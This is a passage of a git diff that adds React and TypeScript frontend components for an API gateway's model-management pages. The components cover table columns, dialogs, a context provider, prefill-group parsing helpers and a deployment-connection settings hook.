+                (config?.color === 'error' ? 'danger' : config?.color) as
+                  | 'neutral'
+                  | 'success'
+                  | 'warning'
+                  | 'danger'
+                  | 'info'
+              }
+              size='sm'
+            />
+          )
+        })
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(quotaBadges, 2)}</div>
+              </TooltipTrigger>
+              {quotaTypes.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{quotaBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Sync Official column
+    {
+      accessorKey: 'sync_official',
+      meta: { label: t('Official Sync'), mobileHidden: true },
+      header: t('Official Sync'),
+      cell: ({ row }) => {
+        const syncOfficial = row.getValue('sync_official') as number
+        return (
+          <StatusBadge
+            label={syncOfficial === 1 ? t('Official Sync') : t('No Sync')}
+            variant={syncOfficial === 1 ? 'success' : 'warning'}
+            size='sm'
+            copyable={false}
+          />
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (!value || value.length === 0 || value.includes('all')) return true
+        const syncOfficial = row.getValue(id) as number
+        if (value.includes('yes')) return syncOfficial === 1
+        if (value.includes('no')) return syncOfficial !== 1
+        return false
+      },
+      size: 120,
+      enableSorting: false,
+    },
+
+    // Created Time column
+    {
+      accessorKey: 'created_time',
+      meta: { label: t('Created'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Created')} />
+      ),
+      cell: ({ row }) => {
+        const timestamp = row.getValue('created_time') as number
+        return (
+          <div className='min-w-[140px] font-mono text-sm'>
+            {formatTimestampToDate(timestamp)}
+          </div>
+        )
+      },
+      size: 180,
+    },
+
+    // Updated Time column
+    {
+      accessorKey: 'updated_time',
+      meta: { label: t('Updated'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Updated')} />
+      ),
+      cell: ({ row }) => {
+        const timestamp = row.getValue('updated_time') as number
+        return (
+          <div className='min-w-[140px] font-mono text-sm'>
+            {formatTimestampToDate(timestamp)}
+          </div>
+        )
+      },
+      size: 180,
+    },
+
+    // Actions column
+    {
+      id: 'actions',
+      cell: ({ row }) => {
+        return <DataTableRowActions row={row} />
+      },
+      size: 100,
+      enableSorting: false,
+      enableHiding: false,
+    },
+  ]
+}
diff --git a/new-api/web/default/src/features/models/components/models-dialogs.tsx b/new-api/web/default/src/features/models/components/models-dialogs.tsx
new file mode 100644
index 0000000..44cf9ac
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/models-dialogs.tsx
@@ -0,0 +1,74 @@
+import { DescriptionDialog } from './dialogs/description-dialog'
+import { MissingModelsDialog } from './dialogs/missing-models-dialog'
+import { PrefillGroupManagement } from './dialogs/prefill-group-management'
+import { SyncWizardDialog } from './dialogs/sync-wizard-dialog'
+import { UpstreamConflictDialog } from './dialogs/upstream-conflict-dialog'
+import { VendorMutateDialog } from './dialogs/vendor-mutate-dialog'
+import { ModelMutateDrawer } from './drawers/model-mutate-drawer'
+import { useModels } from './models-provider'
+
+export function ModelsDialogs() {
+  const {
+    open,
+    setOpen,
+    currentRow,
+    currentVendor,
+    descriptionData,
+    setDescriptionData,
+  } = useModels()
+
+  return (
+    <>
+      {/* Model Create/Update Drawer */}
+      <ModelMutateDrawer
+        open={open === 'create-model' || open === 'update-model'}
+        onOpenChange={(v) => !v && setOpen(null)}
+        currentRow={currentRow}
+      />
+
+      {/* Vendor Create/Update Dialog */}
+      <VendorMutateDialog
+        open={open === 'create-vendor' || open === 'update-vendor'}
+        onOpenChange={(v) => !v && setOpen(null)}
+        currentVendor={open === 'update-vendor' ? currentVendor : null}
+      />
+
+      {/* Missing Models Dialog */}
+      <MissingModelsDialog
+        open={open === 'missing-models'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Sync Wizard Dialog */}
+      <SyncWizardDialog
+        open={open === 'sync-wizard'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Upstream Conflict Dialog */}
+      <UpstreamConflictDialog
+        open={open === 'upstream-conflict'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Prefill Groups Management */}
+      <PrefillGroupManagement
+        open={open === 'prefill-groups'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Description Dialog */}
+      <DescriptionDialog
+        open={open === 'description'}
+        onOpenChange={(v) => {
+          if (!v) {
+            setOpen(null)
+            setDescriptionData(null)
+          }
+        }}
+        modelName={descriptionData?.modelName || ''}
+        description={descriptionData?.description || ''}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/models-primary-buttons.tsx b/new-api/web/default/src/features/models/components/models-primary-buttons.tsx
new file mode 100644
index 0000000..f899337
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/models-primary-buttons.tsx
@@ -0,0 +1,95 @@
+import {
+  Plus,
+  MoreHorizontal,
+  RefreshCw,
+  List,
+  Building2,
+  AlertCircle,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { useModels } from './models-provider'
+
+export function ModelsPrimaryButtons() {
+  const { t } = useTranslation()
+  const { setOpen, setCurrentRow } = useModels()
+
+  const handleCreateModel = () => {
+    setCurrentRow(null)
+    setOpen('create-model')
+  }
+
+  const handleMissingModels = () => {
+    setOpen('missing-models')
+  }
+
+  const handleSync = () => {
+    setOpen('sync-wizard')
+  }
+
+  const handlePrefillGroups = () => {
+    setOpen('prefill-groups')
+  }
+
+  const handleManageVendors = () => {
+    setOpen('create-vendor') // Will be a separate vendors management dialog
+  }
+
+  return (
+    <div className='flex items-center gap-2'>
+      {/* Create Model */}
+      <Button onClick={handleCreateModel} size='sm'>
+        <Plus className='h-4 w-4' />
+        {t('Add Model')}
+      </Button>
+
+      {/* More Actions */}
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <Button variant='outline' size='sm'>
+            <MoreHorizontal className='h-4 w-4' />
+          </Button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align='end' className='w-56'>
+          <DropdownMenuItem onClick={handleMissingModels}>
+            {t('Missing Models')}
+            <DropdownMenuShortcut>
+              <AlertCircle className='h-4 w-4' />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+
+          <DropdownMenuItem onClick={handleSync}>
+            {t('Sync Upstream')}
+            <DropdownMenuShortcut>
+              <RefreshCw className='h-4 w-4' />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+
+          <DropdownMenuSeparator />
+
+          <DropdownMenuItem onClick={handlePrefillGroups}>
+            {t('Prefill Groups')}
+            <DropdownMenuShortcut>
+              <List className='h-4 w-4' />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+
+          <DropdownMenuItem onClick={handleManageVendors}>
+            {t('Manage Vendors')}
+            <DropdownMenuShortcut>
+              <Building2 className='h-4 w-4' />
+            </DropdownMenuShortcut>
+          </DropdownMenuItem>
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/models-provider.tsx b/new-api/web/default/src/features/models/components/models-provider.tsx
new file mode 100644
index 0000000..b330b3e
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/models-provider.tsx
@@ -0,0 +1,118 @@
+/* eslint-disable react-refresh/only-export-components */
+import React, { createContext, useContext, useState } from 'react'
+import type {
+  Model,
+  ModelTabCategory,
+  Vendor,
+  SyncDiffData,
+  SyncLocale,
+  SyncSource,
+} from '../types'
+
+// ============================================================================
+// Types
+// ============================================================================
+
+type DialogType =
+  | 'create-model'
+  | 'update-model'
+  | 'create-vendor'
+  | 'update-vendor'
+  | 'missing-models'
+  | 'sync-wizard'
+  | 'upstream-conflict'
+  | 'prefill-groups'
+  | 'description'
+  | null
+
+type ModelsContextType = {
+  open: DialogType
+  setOpen: (open: DialogType) => void
+  currentRow: Model | null
+  setCurrentRow: (model: Model | null) => void
+  currentVendor: Vendor | null
+  setCurrentVendor: (vendor: Vendor | null) => void
+  selectedVendor: string | null
+  setSelectedVendor: (vendor: string | null) => void
+  descriptionData: { modelName: string; description: string } | null
+  setDescriptionData: (
+    data: { modelName: string; description: string } | null
+  ) => void
+  upstreamConflicts: SyncDiffData['conflicts']
+  setUpstreamConflicts: (conflicts: SyncDiffData['conflicts']) => void
+  syncWizardOptions: { locale: SyncLocale; source: SyncSource }
+  setSyncWizardOptions: React.Dispatch<
+    React.SetStateAction<{ locale: SyncLocale; source: SyncSource }>
+  >
+  tabCategory: ModelTabCategory
+  setTabCategory: (category: ModelTabCategory) => void
+}
+
+// ============================================================================
+// Context
+// ============================================================================
+
+const ModelsContext = createContext<ModelsContextType | undefined>(undefined)
+
+// ============================================================================
+// Provider
+// ============================================================================
+
+export function ModelsProvider({ children }: { children: React.ReactNode }) {
+  const [open, setOpen] = useState<DialogType>(null)
+  const [currentRow, setCurrentRow] = useState<Model | null>(null)
+  const [currentVendor, setCurrentVendor] = useState<Vendor | null>(null)
+  const [selectedVendor, setSelectedVendor] = useState<string | null>(null)
+  const [descriptionData, setDescriptionData] = useState<{
+    modelName: string
+    description: string
+  } | null>(null)
+  const [upstreamConflicts, setUpstreamConflicts] = useState<
+    SyncDiffData['conflicts']
+  >([])
+  const [syncWizardOptions, setSyncWizardOptions] = useState<{
+    locale: SyncLocale
+    source: SyncSource
+  }>({
+    locale: 'zh',
+    source: 'official',
+  })
+  const [tabCategory, setTabCategory] = useState<ModelTabCategory>('metadata')
+
+  return (
+    <ModelsContext.Provider
+      value={{
+        open,
+        setOpen,
+        currentRow,
+        setCurrentRow,
+        currentVendor,
+        setCurrentVendor,
+        selectedVendor,
+        setSelectedVendor,
+        descriptionData,
+        setDescriptionData,
+        upstreamConflicts,
+        setUpstreamConflicts,
+        syncWizardOptions,
+        setSyncWizardOptions,
+        tabCategory,
+        setTabCategory,
+      }}
+    >
+      {children}
+    </ModelsContext.Provider>
+  )
+}
+
+// ============================================================================
+// Hook
+// ============================================================================
+
+export function useModels() {
+  const context = useContext(ModelsContext)
+  if (!context) {
+    throw new Error('useModels must be used within ModelsProvider')
+  }
+  return context
+}
diff --git a/new-api/web/default/src/features/models/components/models-table.tsx b/new-api/web/default/src/features/models/components/models-table.tsx
new file mode 100644
index 0000000..efed0bf
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/models-table.tsx
@@ -0,0 +1,326 @@
+import { useState, useMemo, useEffect } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { getRouteApi } from '@tanstack/react-router'
+import {
+  flexRender,
+  getCoreRowModel,
+  useReactTable,
+  type SortingState,
+  type VisibilityState,
+} from '@tanstack/react-table'
+import { useMediaQuery } from '@/hooks'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useTableUrlState } from '@/hooks/use-table-url-state'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTableToolbar,
+  TableSkeleton,
+  TableEmpty,
+  MobileCardList,
+} from '@/components/data-table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { PageFooterPortal } from '@/components/layout'
+import { getModels, searchModels, getVendors } from '../api'
+import {
+  DEFAULT_PAGE_SIZE,
+  getModelStatusOptions,
+  getSyncStatusOptions,
+} from '../constants'
+import { modelsQueryKeys, vendorsQueryKeys } from '../lib'
+import { DataTableBulkActions } from './data-table-bulk-actions'
+import { useModelsColumns } from './models-columns'
+import { useModels } from './models-provider'
+
+const route = getRouteApi('/_authenticated/models/$section')
+
+export function ModelsTable() {
+  const { t } = useTranslation()
+  const { selectedVendor } = useModels()
+  const isMobile = useMediaQuery('(max-width: 640px)')
+
+  // Table state
+  const [sorting, setSorting] = useState<SortingState>([])
+  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({
+    description: false,
+    bound_channels: false,
+    quota_types: false,
+  })
+  const [rowSelection, setRowSelection] = useState({})
+
+  // URL state management
+  const {
+    globalFilter,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  } = useTableUrlState({
+    search: route.useSearch(),
+    navigate: route.useNavigate(),
+    pagination: { defaultPage: 1, defaultPageSize: DEFAULT_PAGE_SIZE },
+    globalFilter: { enabled: true, key: 'filter' },
+    columnFilters: [
+      { columnId: 'status', searchKey: 'status', type: 'array' },
+      { columnId: 'vendor_id', searchKey: 'vendor', type: 'array' },
+      { columnId: 'sync_official', searchKey: 'sync', type: 'array' },
+    ],
+  })
+
+  // Extract filters from column filters
+  const statusFilter =
+    (columnFilters.find((f) => f.id === 'status')?.value as string[]) || []
+  const vendorFilter =
+    (columnFilters.find((f) => f.id === 'vendor_id')?.value as string[]) || []
+  const syncFilter =
+    (columnFilters.find((f) => f.id === 'sync_official')?.value as string[]) ||
+    []
+
+  // Fetch vendors for filter
+  const { data: vendorsData } = useQuery({
+    queryKey: vendorsQueryKeys.list(),
+    queryFn: () => getVendors({ page_size: 1000 }),
+  })
+
+  const vendors = useMemo(
+    () => vendorsData?.data?.items || [],
+    [vendorsData?.data?.items]
+  )
+
+  const vendorOptions = useMemo(() => {
+    return vendors.map((v) => ({
+      label: v.name,
+      value: String(v.id),
+    }))
+  }, [vendors])
+
+  // Determine whether to use search or regular list API
+  const shouldSearch = Boolean(globalFilter?.trim())
+
+  // Apply selected vendor from context or filter
+  const activeVendorFilter =
+    selectedVendor ||
+    (vendorFilter.length > 0 && !vendorFilter.includes('all')
+      ? vendorFilter[0]
+      : undefined)
+
+  // Fetch models data
+  // eslint-disable-next-line @tanstack/query/exhaustive-deps
+  const { data, isLoading, isFetching } = useQuery({
+    queryKey: modelsQueryKeys.list({
+      keyword: globalFilter,
+      vendor: activeVendorFilter,
+      status:
+        statusFilter.length > 0 && !statusFilter.includes('all')
+          ? statusFilter[0]
+          : undefined,
+      sync_official:
+        syncFilter.length > 0 && !syncFilter.includes('all')
+          ? syncFilter[0]
+          : undefined,
+      p: pagination.pageIndex + 1,
+      page_size: pagination.pageSize,
+    }),
+    queryFn: async () => {
+      if (shouldSearch || activeVendorFilter) {
+        return searchModels({
+          keyword: globalFilter,
+          vendor: activeVendorFilter,
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          sync_official:
+            syncFilter.length > 0 && !syncFilter.includes('all')
+              ? syncFilter[0]
+              : undefined,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      } else {
+        return getModels({
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          sync_official:
+            syncFilter.length > 0 && !syncFilter.includes('all')
+              ? syncFilter[0]
+              : undefined,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      }
+    },
+    placeholderData: (previousData) => previousData,
+  })
+
+  const models = data?.data?.items || []
+  const totalCount = data?.data?.total || 0
+  const vendorCounts = data?.data?.vendor_counts
+
+  // Columns configuration
+  const columns = useModelsColumns(vendors)
+
+  // React Table instance
+  const table = useReactTable({
+    data: models,
+    columns,
+    pageCount: Math.ceil(totalCount / pagination.pageSize),
+    state: {
+      sorting,
+      columnFilters,
+      columnVisibility,
+      rowSelection,
+      pagination,
+      globalFilter,
+    },
+    enableRowSelection: true,
+    onRowSelectionChange: setRowSelection,
+    onSortingChange: setSorting,
+    onColumnFiltersChange,
+    onColumnVisibilityChange: setColumnVisibility,
+    onPaginationChange,
+    onGlobalFilterChange,
+    getCoreRowModel: getCoreRowModel(),
+    manualPagination: true,
+    manualSorting: true,
+    manualFiltering: true,
+  })
+
+  // Ensure page is in range when total count changes
+  const pageCount = table.getPageCount()
+  useEffect(() => {
+    ensurePageInRange(pageCount)
+  }, [pageCount, ensurePageInRange])
+
+  // Prepare filter options
+  const vendorFilterOptions = [
+    {
+      label: `${t('All Vendors')}${vendorCounts?.all ? ` (${vendorCounts.all})` : ''}`,
+      value: 'all',
+    },
+    ...vendorOptions.map((option) => ({
+      label: `${option.label}${vendorCounts?.[option.value] ? ` (${vendorCounts[option.value]})` : ''}`,
+      value: option.value,
+    })),
+  ]
+
+  return (
+    <>
+      <div className='space-y-4'>
+        <DataTableToolbar
+          table={table}
+          searchPlaceholder={t('Filter by model name...')}
+          filters={[
+            {
+              columnId: 'status',
+              title: t('Status'),
+              options: [...getModelStatusOptions(t)],
+              singleSelect: true,
+            },
+            {
+              columnId: 'vendor_id',
+              title: t('Vendor'),
+              options: vendorFilterOptions,
+              singleSelect: true,
+            },
+            {
+              columnId: 'sync_official',
+              title: t('Official Sync'),
+              options: [...getSyncStatusOptions(t)],
+              singleSelect: true,
+            },
+          ]}
+        />
+
+        {isMobile ? (
+          <MobileCardList
+            table={table}
+            isLoading={isLoading}
+            emptyTitle={t('No Models Found')}
+            emptyDescription={t(
+              'No models available. Create your first model to get started.'
+            )}
+          />
+        ) : (
+          <>
+            <div
+              className={cn(
+                'overflow-hidden rounded-md border transition-opacity duration-150',
+                isFetching && !isLoading && 'pointer-events-none opacity-50'
+              )}
+            >
+              <Table>
+                <TableHeader>
+                  {table.getHeaderGroups().map((headerGroup) => (
+                    <TableRow key={headerGroup.id}>
+                      {headerGroup.headers.map((header) => (
+                        <TableHead
+                          key={header.id}
+                          style={{ width: header.getSize() }}
+                        >
+                          {header.isPlaceholder
+                            ? null
+                            : flexRender(
+                                header.column.columnDef.header,
+                                header.getContext()
+                              )}
+                        </TableHead>
+                      ))}
+                    </TableRow>
+                  ))}
+                </TableHeader>
+                <TableBody>
+                  {isLoading ? (
+                    <TableSkeleton table={table} keyPrefix='model-skeleton' />
+                  ) : table.getRowModel().rows.length === 0 ? (
+                    <TableEmpty
+                      colSpan={columns.length}
+                      title={t('No Models Found')}
+                      description={t(
+                        'No models available. Create your first model to get started.'
+                      )}
+                    />
+                  ) : (
+                    table.getRowModel().rows.map((row) => (
+                      <TableRow
+                        key={row.id}
+                        data-state={row.getIsSelected() && 'selected'}
+                      >
+                        {row.getVisibleCells().map((cell) => (
+                          <TableCell key={cell.id}>
+                            {flexRender(
+                              cell.column.columnDef.cell,
+                              cell.getContext()
+                            )}
+                          </TableCell>
+                        ))}
+                      </TableRow>
+                    ))
+                  )}
+                </TableBody>
+              </Table>
+            </div>
+
+            <DataTableBulkActions table={table} />
+          </>
+        )}
+      </div>
+      <PageFooterPortal>
+        <DataTablePagination
+          table={table as ReturnType<typeof useReactTable>}
+        />
+      </PageFooterPortal>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/prefill-group-shared.ts b/new-api/web/default/src/features/models/components/prefill-group-shared.ts
new file mode 100644
index 0000000..db0b45d
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/prefill-group-shared.ts
@@ -0,0 +1,110 @@
+import type { StatusBadgeProps } from '@/components/status-badge'
+import { type PrefillGroup, type PrefillGroupFormValues } from '../types'
+
+export type PrefillGroupType = PrefillGroup['type']
+
+export const PREFILL_GROUP_TYPES = [
+  {
+    value: 'model' as PrefillGroupType,
+    label: 'Model Group',
+    description: 'Reusable sets of models you can attach to channels.',
+    badge: 'blue' as StatusBadgeProps['variant'],
+  },
+  {
+    value: 'tag' as PrefillGroupType,
+    label: 'Tag Group',
+    description: 'Collections of metadata tags for bulk operations.',
+    badge: 'purple' as StatusBadgeProps['variant'],
+  },
+  {
+    value: 'endpoint' as PrefillGroupType,
+    label: 'Endpoint Group',
+    description: 'HTTP endpoint mappings shared across providers.',
+    badge: 'cyan' as StatusBadgeProps['variant'],
+  },
+] as const
+
+export const PREFILL_GROUP_TYPE_META = PREFILL_GROUP_TYPES.reduce<
+  Record<
+    PrefillGroupType,
+    { label: string; badge: StatusBadgeProps['variant'] }
+  >
+>(
+  (acc, type) => {
+    acc[type.value] = { label: type.label, badge: type.badge }
+    return acc
+  },
+  {} as Record<
+    PrefillGroupType,
+    { label: string; badge: StatusBadgeProps['variant'] }
+  >
+)
+
+export const DEFAULT_FORM_VALUES: PrefillGroupFormValues = {
+  name: '',
+  description: '',
+  type: 'model',
+  items: [],
+}
+
+export function parseStringItems(items: PrefillGroup['items']): string[] {
+  if (!items) return []
+  if (Array.isArray(items)) {
+    return items
+      .map((item) => (typeof item === 'string' ? item.trim() : ''))
+      .filter(Boolean)
+  }
+  if (typeof items === 'string') {
+    try {
+      const parsed = JSON.parse(items)
+      if (Array.isArray(parsed)) {
+        return parsed
+          .map((item) => (typeof item === 'string' ? item.trim() : ''))
+          .filter(Boolean)
+      }
+    } catch {
+      return items
+        .split(/[\n,]/)
+        .map((item) => item.trim())
+        .filter(Boolean)
+    }
+  }
+  return []
+}
+
+export function parseEndpointKeys(items: PrefillGroup['items']): string[] {
+  if (!items) return []
+  try {
+    const parsed =
+      typeof items === 'string' ? JSON.parse(items || '{}') : (items as unknown)
+    if (Array.isArray(parsed)) {
+      return parsed
+        .map((item) =>
+          typeof item === 'string'
+            ? item
+            : typeof item?.name === 'string'
+              ? item.name
+              : ''
+        )
+        .filter(Boolean)
+    }
+    if (parsed && typeof parsed === 'object') {
+      return Object.keys(parsed)
+    }
+  } catch {
+    return []
+  }
+  return []
+}
+
+export function serializeEndpointItems(items: PrefillGroup['items']): string {
+  if (!items) return ''
+  if (typeof items === 'string') {
+    return items
+  }
+  try {
+    return JSON.stringify(items, null, 2)
+  } catch {
+    return ''
+  }
+}
diff --git a/new-api/web/default/src/features/models/hooks/use-model-deployment-settings.ts b/new-api/web/default/src/features/models/hooks/use-model-deployment-settings.ts
new file mode 100644
index 0000000..b13314a
--- /dev/null
+++ b/new-api/web/default/src/features/models/hooks/use-model-deployment-settings.ts
@@ -0,0 +1,174 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+import { getDeploymentSettings, testDeploymentConnection } from '../api'
+
+interface ConnectionState {
+  loading: boolean
+  ok: boolean | null
+  error: string | null
+}
+
+// Connection cache (5 minutes TTL)
+const CONNECTION_CACHE_TTL = 5 * 60 * 1000
+let connectionCache: {
+  ok: boolean
+  timestamp: number
+} | null = null
+
+function getCachedConnection(): boolean | null {
+  if (!connectionCache) return null
+  if (Date.now() - connectionCache.timestamp > CONNECTION_CACHE_TTL) {
+    connectionCache = null
+    return null
+  }
+  return connectionCache.ok
+}
+
+function setCachedConnection(ok: boolean) {
+  connectionCache = { ok, timestamp: Date.now() }
+}
+
+export function clearConnectionCache() {
+  connectionCache = null
+}
+
+type LoadingPhase = 'idle' | 'settings' | 'connection' | 'done'
+
+export function useModelDeploymentSettings() {
+  const [loading, setLoading] = useState(true)
+  const [loadingPhase, setLoadingPhase] = useState<LoadingPhase>('settings')
+  const [settings, setSettings] = useState<Record<string, unknown>>({
+    'model_deployment.ionet.enabled': false,
+  })
+  const [connectionState, setConnectionState] = useState<ConnectionState>({
+    loading: false,
+    ok: null,
+    error: null,
+  })
+  const initialLoadRef = useRef(true)
+
+  // Parallel fetch: settings + connection test (when enabled)
+  const fetchAll = useCallback(async (useCache = true) => {
+    setLoading(true)
+    setLoadingPhase('settings')
+
+    try {
+      // Step 1: Fetch settings first (usually fast)
+      const response = await getDeploymentSettings()
+      const isEnabled = response?.success && response?.data?.enabled === true
+
+      setSettings({
+        'model_deployment.ionet.enabled': isEnabled,
+      })
+
+      if (!isEnabled) {
+        // Not enabled, done
+        setConnectionState({ loading: false, ok: null, error: null })
+        setLoadingPhase('done')
+        setLoading(false)
+        return
+      }
+
+      // Step 2: Check connection (check cache first)
+      if (useCache) {
+        const cached = getCachedConnection()
+        if (cached !== null) {
+          setConnectionState({ loading: false, ok: cached, error: null })
+          setLoadingPhase('done')
+          setLoading(false)
+          return
+        }
+      }
+
+      // Test connection
+      setLoadingPhase('connection')
+      setConnectionState({ loading: true, ok: null, error: null })
+
+      try {
+        const connResponse = await testDeploymentConnection()
+        if (connResponse?.success) {
+          setCachedConnection(true)
+          setConnectionState({ loading: false, ok: true, error: null })
+        } else {
+          const message = connResponse?.message || 'Connection failed'
+          setCachedConnection(false)
+          setConnectionState({ loading: false, ok: false, error: message })
+        }
+      } catch (error: unknown) {
+        const errMsg =
+          error instanceof Error ? error.message : 'Connection failed'
+        setCachedConnection(false)
+        setConnectionState({ loading: false, ok: false, error: errMsg })
+      }
+    } catch {
+      // Settings fetch failed, use defaults
+      setConnectionState({ loading: false, ok: null, error: null })
+    } finally {
+      setLoadingPhase('done')
+      setLoading(false)
+    }
+  }, [])
+
+  // Initial load
+  useEffect(() => {
+    if (initialLoadRef.current) {
+      initialLoadRef.current = false
+      fetchAll(true)
+    }
+  }, [fetchAll])
+
+  const isIoNetEnabled = Boolean(settings['model_deployment.ionet.enabled'])
+
+  // Manual retry (skip cache)
+  const testConnection = useCallback(async () => {
+    clearConnectionCache()
+    setConnectionState({ loading: true, ok: null, error: null })
+    setLoadingPhase('connection')
+
+    try {
+      const response = await testDeploymentConnection()
+      if (response?.success) {
+        setCachedConnection(true)
+        setConnectionState({ loading: false, ok: true, error: null })
+        return
+      }
+      const message = response?.message || 'Connection failed'
+      setCachedConnection(false)
+      setConnectionState({ loading: false, ok: false, error: message })
+    } catch (error: unknown) {
+      const errMsg =
+        error instanceof Error ? error.message : 'Connection failed'
+      setCachedConnection(false)
+      setConnectionState({ loading: false, ok: false, error: errMsg })
+    } finally {
+      setLoadingPhase('done')
+    }
+  }, [])
+
+  // Refresh all (skip cache)
+  const refresh = useCallback(() => {
+    clearConnectionCache()
+    return fetchAll(false)
+  }, [fetchAll])
+
+  // Refresh on window focus (useful after saving settings in another page)
+  useEffect(() => {
+    const handler = () => {
+      // Use cache on focus to avoid unnecessary requests
+      fetchAll(true)
+    }
+    window.addEventListener('focus', handler)
+    return () => window.removeEventListener('focus', handler)
+  }, [fetchAll])
+
+  return {
+    loading,
+    loadingPhase,
+    settings,
+    isIoNetEnabled,
+    refresh,
+    connectionLoading: connectionState.loading,
+    connectionOk: connectionState.ok,
+    connectionError: connectionState.error,
+    testConnection,
+  }
+}
diff --git a/new-api/web/default/src/features/models/index.tsx b/new-api/web/default/src/features/models/index.tsx
new file mode 100644
index 0000000..df8fb00
--- /dev/null
+++ b/new-api/web/default/src/features/models/index.tsx
@@ -0,0 +1,171 @@
+import { useCallback, useEffect, useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { getRouteApi, useNavigate } from '@tanstack/react-router'
+import { Plus } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Tabs, TabsList, TabsTrigger } from '@/components/ui/tabs'
+import { SectionPageLayout } from '@/components/layout'
+import { listDeployments } from './api'
+import { DeploymentAccessGuard } from './components/deployment-access-guard'
+import { DeploymentsTable } from './components/deployments-table'
+import { CreateDeploymentDrawer } from './components/dialogs/create-deployment-drawer'
+import { ModelsDialogs } from './components/models-dialogs'
+import { ModelsPrimaryButtons } from './components/models-primary-buttons'
+import { ModelsProvider, useModels } from './components/models-provider'
+import { ModelsTable } from './components/models-table'
+import { useModelDeploymentSettings } from './hooks/use-model-deployment-settings'
+import { deploymentsQueryKeys } from './lib'
+import {
+  type ModelsSectionId,
+  MODELS_DEFAULT_SECTION,
+  MODELS_SECTION_IDS,
+} from './section-registry'
+
+const route = getRouteApi('/_authenticated/models/$section')
+
+const SECTION_META: Record<
+  ModelsSectionId,
+  { titleKey: string; descriptionKey: string }
+> = {
+  metadata: {
+    titleKey: 'Metadata',
+    descriptionKey: 'Manage model metadata and configuration',
+  },
+  deployments: {
+    titleKey: 'Deployments',
+    descriptionKey: 'Manage model deployments',
+  },
+}
+
+function ModelsContent() {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const queryClient = useQueryClient()
+  const { tabCategory, setTabCategory } = useModels()
+  const params = route.useParams()
+  const activeSection = (params.section ??
+    MODELS_DEFAULT_SECTION) as ModelsSectionId
+
+  // Deployment create dialog state
+  const [createDeploymentOpen, setCreateDeploymentOpen] = useState(false)
+
+  // keep context state in sync (for components that rely on it)
+  useEffect(() => {
+    if (tabCategory !== activeSection) {
+      setTabCategory(activeSection)
+    }
+  }, [activeSection, setTabCategory, tabCategory])
+
+  const {
+    loading: deploymentLoading,
+    loadingPhase,
+    isIoNetEnabled,
+    connectionLoading,
+    connectionOk,
+    connectionError,
+    testConnection,
+    refresh: refreshDeploymentSettings,
+  } = useModelDeploymentSettings()
+
+  // Ensure settings are fresh when switching to deployments section
+  useEffect(() => {
+    if (activeSection === 'deployments') {
+      refreshDeploymentSettings()
+    }
+  }, [activeSection, refreshDeploymentSettings])
+
+  // Prefetch deployments list while connection check is in progress
+  // This allows the data to be ready as soon as the guard passes
+  useEffect(() => {
+    if (
+      activeSection === 'deployments' &&
+      isIoNetEnabled &&
+      loadingPhase === 'connection'
+    ) {
+      const defaultParams = { p: 1, page_size: 10 }
+      queryClient.prefetchQuery({
+        queryKey: deploymentsQueryKeys.list(defaultParams),
+        queryFn: () => listDeployments(defaultParams),
+        staleTime: 30 * 1000, // 30 seconds
+      })
+    }
+  }, [activeSection, isIoNetEnabled, loadingPhase, queryClient])
+
+  const handleSectionChange = useCallback(
+    (section: string) => {
+      void navigate({
+        to: '/models/$section',
+        params: { section: section as ModelsSectionId },
+      })
+    },
+    [navigate]
+  )
+
+  const meta = SECTION_META[activeSection] ?? SECTION_META.metadata
+
+  return (
